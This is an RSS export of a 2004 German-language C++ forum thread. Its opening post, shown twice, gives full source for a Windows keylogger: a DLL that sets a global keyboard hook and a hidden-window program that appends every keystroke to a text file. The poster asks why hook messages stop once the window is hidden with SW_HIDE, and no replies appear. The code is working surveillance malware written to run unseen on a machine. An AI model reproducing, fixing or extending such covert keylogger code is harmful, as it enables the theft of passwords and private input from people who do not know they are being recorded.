<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Wieder keylogger]]></title><description><![CDATA[<p>Hallo zusammen,</p>
<p>sorry für mein Deutsch.</p>
<p>Also ich schreibe einen Keylogger der alle Tastatureingaben protokoliert.<br />
Also alles funktioniert soweit. Nun versuche ich das Hauptfenster von Application nicht erscheinen zu lassen, in demm ich an ShowWindow SW_HIDE als zweite Param. übergebe.<br />
Nun wie gewünscht läuft das Programm quasi im Hintergrund.<br />
Das Problem dabei ist, dass der exe keine Nachrichtem mehr von dll empfängt.</p>
<p>Weiss jemand ein Rat???<br />
Wäre echt klasse.</p>
<p>so sieht der code:</p>
<p>DLL</p>
<pre><code class="language-cpp">//  hooklib.c
#include &lt;windows.h&gt;

HHOOK hHook; 
HINSTANCE hInst; 
HWND hwnd;

EXPORT BOOL  CALLBACK InstallHook(HWND hParent) ; 
EXPORT BOOL  CALLBACK UninstallHook(void) ; 
EXPORT DWORD CALLBACK CheckKey( int, WORD, LONG);

//--------------------------------------------------------------------------- 

int WINAPI DllMain(HINSTANCE hInstance, DWORD fdwReason, PVOID pvReserved) 
{ 

	switch (fdwReason)
	{ 
        case DLL_PROCESS_ATTACH : 
            hInst = hInstance;
            break ; 
    }   

	return TRUE; 
} 
//--------------------------------------------------------------------------- 

EXPORT BOOL  CALLBACK InstallHook(HWND hParent) 
{
	HOOKPROC lpfnHookProc = NULL; 
	hwnd = hParent;
	lpfnHookProc = GetProcAddress(GetModuleHandle(&quot;hooklib.dll&quot;),&quot;_CheckKey@12&quot;); 
	hHook = SetWindowsHookEx(WH_KEYBOARD, lpfnHookProc, hInst, NULL); 
	return TRUE;
}      

//--------------------------------------------------------------------------- 

EXPORT BOOL  CALLBACK UninstallHook(void)     
{ 
	UnhookWindowsHookEx(hHook); 
	return TRUE;             
}                             
//--------------------------------------------------------------------------- 

EXPORT DWORD  CALLBACK  CheckKey(int nCode, WORD wParam, LONG lParam)    
{
	if((nCode &lt; 0) || nCode == HC_NOREMOVE)     
		return CallNextHookEx(hHook, nCode, wParam, lParam); 

	// Skip if it's a repeat 
	if(lParam &amp; 0x40000000) 
		return CallNextHookEx(hHook, nCode, wParam, lParam); 

	// Send key information to the main window 
	SendMessage(hwnd, WM_KEYHOOK, wParam, lParam); 

	return CallNextHookEx(hHook, nCode, wParam, lParam); 
}
</code></pre>
<p>und so der .exe</p>
<pre><code class="language-cpp">#include &lt;windows.h&gt;
#include &lt;stdio.h&gt;

EXPORT BOOL  CALLBACK InstallHook(HWND hParent) ; 
EXPORT BOOL  CALLBACK UninstallHook(void) ; 
EXPORT DWORD CALLBACK CheckKey( int, WORD, LONG);

LRESULT CALLBACK WndProc (HWND, UINT, WPARAM, LPARAM);   
HWND		hwnd;

int WINAPI WinMain (HINSTANCE hI, HINSTANCE hPrI, PSTR szCmdLine, int iCmdShow) 
{ 

	char		szAppName[] = &quot;Fenstername&quot;; 
	WNDCLASS	wc;
	MSG			msg;

	wc.style         = CS_HREDRAW | CS_VREDRAW;   
	wc.lpfnWndProc   = WndProc; 
	wc.cbClsExtra    = 0; 
	wc.cbWndExtra    = 0; 
	wc.hInstance     = hI; 
	wc.hIcon         = LoadIcon (NULL, IDI_APPLICATION); 
	wc.hCursor       = LoadCursor (NULL, IDC_ARROW); 
	wc.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH); 
	wc.lpszMenuName  = NULL; 
	wc.lpszClassName = szAppName; 

	RegisterClass (&amp;wc); 

	hwnd = CreateWindow(szAppName, NULL, WS_OVERLAPPEDWINDOW, 200, 100, 0, 0, NULL, NULL, hI, NULL); 

	ShowWindow   (hwnd, SW_HIDE);  // &lt;&lt;&lt;&lt;&lt;&lt;&lt; Problem hier ???
	UpdateWindow (hwnd);       

    while (GetMessage (&amp;msg, NULL, 0, 0))              
    { 
        TranslateMessage (&amp;msg);          
        DispatchMessage (&amp;msg);             
    } 

	return msg.wParam; 
} 

// Windows-Nachrichten-Prozedur 
LRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) 
{  

	FILE *f = NULL;
	WORD p;
	char buf[256];
	int zeich;

	switch (message) 
	{
		case WM_CREATE: 
			f = fopen(&quot;C:\\test.txt&quot;, &quot;a+&quot;);
			InstallHook(hwnd);
			return 0; 

		case WM_KEYHOOK:
			GetKeyboardState(buf); 
			ToAscii(wParam,lParam,buf,&amp;p,0);
			fprintf(f,&quot;%c&quot;,(char)p);	
			return 0;

		case WM_DESTROY:
			UninstallHook();
			fclose(f);
			PostQuitMessage (0); 
			return 0; 
	} 

	return DefWindowProc (hwnd, message, wParam, lParam); 
}
</code></pre>
]]></description><link>https://www.c-plusplus.net/forum/topic/94751/wieder-keylogger</link><generator>RSS for Node</generator><lastBuildDate>Sun, 26 Apr 2026 00:56:59 GMT</lastBuildDate><atom:link href="https://www.c-plusplus.net/forum/topic/94751.rss" rel="self" type="application/rss+xml"/><pubDate>Sun, 12 Dec 2004 15:59:39 GMT</pubDate><ttl>60</ttl><item><title><![CDATA[Reply to Wieder keylogger on Sun, 12 Dec 2004 15:59:39 GMT]]></title><description><![CDATA[<p>Hallo zusammen,</p>
<p>sorry für mein Deutsch.</p>
<p>Also ich schreibe einen Keylogger der alle Tastatureingaben protokoliert.<br />
Also alles funktioniert soweit. Nun versuche ich das Hauptfenster von Application nicht erscheinen zu lassen, in demm ich an ShowWindow SW_HIDE als zweite Param. übergebe.<br />
Nun wie gewünscht läuft das Programm quasi im Hintergrund.<br />
Das Problem dabei ist, dass der exe keine Nachrichtem mehr von dll empfängt.</p>
<p>Weiss jemand ein Rat???<br />
Wäre echt klasse.</p>
<p>so sieht der code:</p>
<p>DLL</p>
<pre><code class="language-cpp">//  hooklib.c
#include &lt;windows.h&gt;

HHOOK hHook; 
HINSTANCE hInst; 
HWND hwnd;

EXPORT BOOL  CALLBACK InstallHook(HWND hParent) ; 
EXPORT BOOL  CALLBACK UninstallHook(void) ; 
EXPORT DWORD CALLBACK CheckKey( int, WORD, LONG);

//--------------------------------------------------------------------------- 

int WINAPI DllMain(HINSTANCE hInstance, DWORD fdwReason, PVOID pvReserved) 
{ 

	switch (fdwReason)
	{ 
        case DLL_PROCESS_ATTACH : 
            hInst = hInstance;
            break ; 
    }   

	return TRUE; 
} 
//--------------------------------------------------------------------------- 

EXPORT BOOL  CALLBACK InstallHook(HWND hParent) 
{
	HOOKPROC lpfnHookProc = NULL; 
	hwnd = hParent;
	lpfnHookProc = GetProcAddress(GetModuleHandle(&quot;hooklib.dll&quot;),&quot;_CheckKey@12&quot;); 
	hHook = SetWindowsHookEx(WH_KEYBOARD, lpfnHookProc, hInst, NULL); 
	return TRUE;
}      

//--------------------------------------------------------------------------- 

EXPORT BOOL  CALLBACK UninstallHook(void)     
{ 
	UnhookWindowsHookEx(hHook); 
	return TRUE;             
}                             
//--------------------------------------------------------------------------- 

EXPORT DWORD  CALLBACK  CheckKey(int nCode, WORD wParam, LONG lParam)    
{
	if((nCode &lt; 0) || nCode == HC_NOREMOVE)     
		return CallNextHookEx(hHook, nCode, wParam, lParam); 

	// Skip if it's a repeat 
	if(lParam &amp; 0x40000000) 
		return CallNextHookEx(hHook, nCode, wParam, lParam); 

	// Send key information to the main window 
	SendMessage(hwnd, WM_KEYHOOK, wParam, lParam); 

	return CallNextHookEx(hHook, nCode, wParam, lParam); 
}
</code></pre>
<p>und so der .exe</p>
<pre><code class="language-cpp">#include &lt;windows.h&gt;
#include &lt;stdio.h&gt;

EXPORT BOOL  CALLBACK InstallHook(HWND hParent) ; 
EXPORT BOOL  CALLBACK UninstallHook(void) ; 
EXPORT DWORD CALLBACK CheckKey( int, WORD, LONG);

LRESULT CALLBACK WndProc (HWND, UINT, WPARAM, LPARAM);   
HWND		hwnd;

int WINAPI WinMain (HINSTANCE hI, HINSTANCE hPrI, PSTR szCmdLine, int iCmdShow) 
{ 

	char		szAppName[] = &quot;Fenstername&quot;; 
	WNDCLASS	wc;
	MSG			msg;

	wc.style         = CS_HREDRAW | CS_VREDRAW;   
	wc.lpfnWndProc   = WndProc; 
	wc.cbClsExtra    = 0; 
	wc.cbWndExtra    = 0; 
	wc.hInstance     = hI; 
	wc.hIcon         = LoadIcon (NULL, IDI_APPLICATION); 
	wc.hCursor       = LoadCursor (NULL, IDC_ARROW); 
	wc.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH); 
	wc.lpszMenuName  = NULL; 
	wc.lpszClassName = szAppName; 

	RegisterClass (&amp;wc); 

	hwnd = CreateWindow(szAppName, NULL, WS_OVERLAPPEDWINDOW, 200, 100, 0, 0, NULL, NULL, hI, NULL); 

	ShowWindow   (hwnd, SW_HIDE);  // &lt;&lt;&lt;&lt;&lt;&lt;&lt; Problem hier ???
	UpdateWindow (hwnd);       

    while (GetMessage (&amp;msg, NULL, 0, 0))              
    { 
        TranslateMessage (&amp;msg);          
        DispatchMessage (&amp;msg);             
    } 

	return msg.wParam; 
} 

// Windows-Nachrichten-Prozedur 
LRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) 
{  

	FILE *f = NULL;
	WORD p;
	char buf[256];
	int zeich;

	switch (message) 
	{
		case WM_CREATE: 
			f = fopen(&quot;C:\\test.txt&quot;, &quot;a+&quot;);
			InstallHook(hwnd);
			return 0; 

		case WM_KEYHOOK:
			GetKeyboardState(buf); 
			ToAscii(wParam,lParam,buf,&amp;p,0);
			fprintf(f,&quot;%c&quot;,(char)p);	
			return 0;

		case WM_DESTROY:
			UninstallHook();
			fclose(f);
			PostQuitMessage (0); 
			return 0; 
	} 

	return DefWindowProc (hwnd, message, wParam, lParam); 
}
</code></pre>
]]></description><link>https://www.c-plusplus.net/forum/post/671664</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/671664</guid><dc:creator><![CDATA[Ausländer]]></dc:creator><pubDate>Sun, 12 Dec 2004 15:59:39 GMT</pubDate></item></channel></rss>